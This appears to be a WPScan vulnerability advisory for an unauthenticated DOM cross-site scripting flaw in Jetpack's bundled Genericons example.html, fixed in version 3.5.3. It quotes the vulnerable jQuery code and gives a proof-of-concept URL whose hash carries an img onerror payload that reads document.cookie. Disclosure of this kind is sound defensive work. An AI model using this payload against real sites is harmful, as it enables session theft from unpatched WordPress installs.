Jetpack <= 3.5.2 - Unauthenticated DOM Cross-Site Scripting (XSS)



Description
Genericons <= 3.2 vulnerable to DOM XSS in the example.html file due to using outdated version of jQuery and vulnerable code.

Vulnerable Code:

permalink = "genericon-" + window.location.hash.split('#')[1];
cssclass = jQuery( '.' + permalink ).attr('class');
Proof of Concept
http://www.example.com/wp-content/plugins/jetpack/_inc/genericons/genericons/example.html#<img src=x onerror=alert(document.cookie)>

Affects Plugin

fixed in version 3.5.3

References

URL https://blog.sucuri.net/2015/05/jetpack-and-twentyfifteen-vulnerable-to-dom-based-xss-millions-of-wordpress-websites-affected-millions-of-wordpress-websites-affected.html

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 5832
Verified No
WPVDB ID 7964

Timeline

Publicly Published 2015-05-06 (over 4 years ago)
Added 2015-05-06 (over 4 years ago)
Last Updated 2019-10-21 (24 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin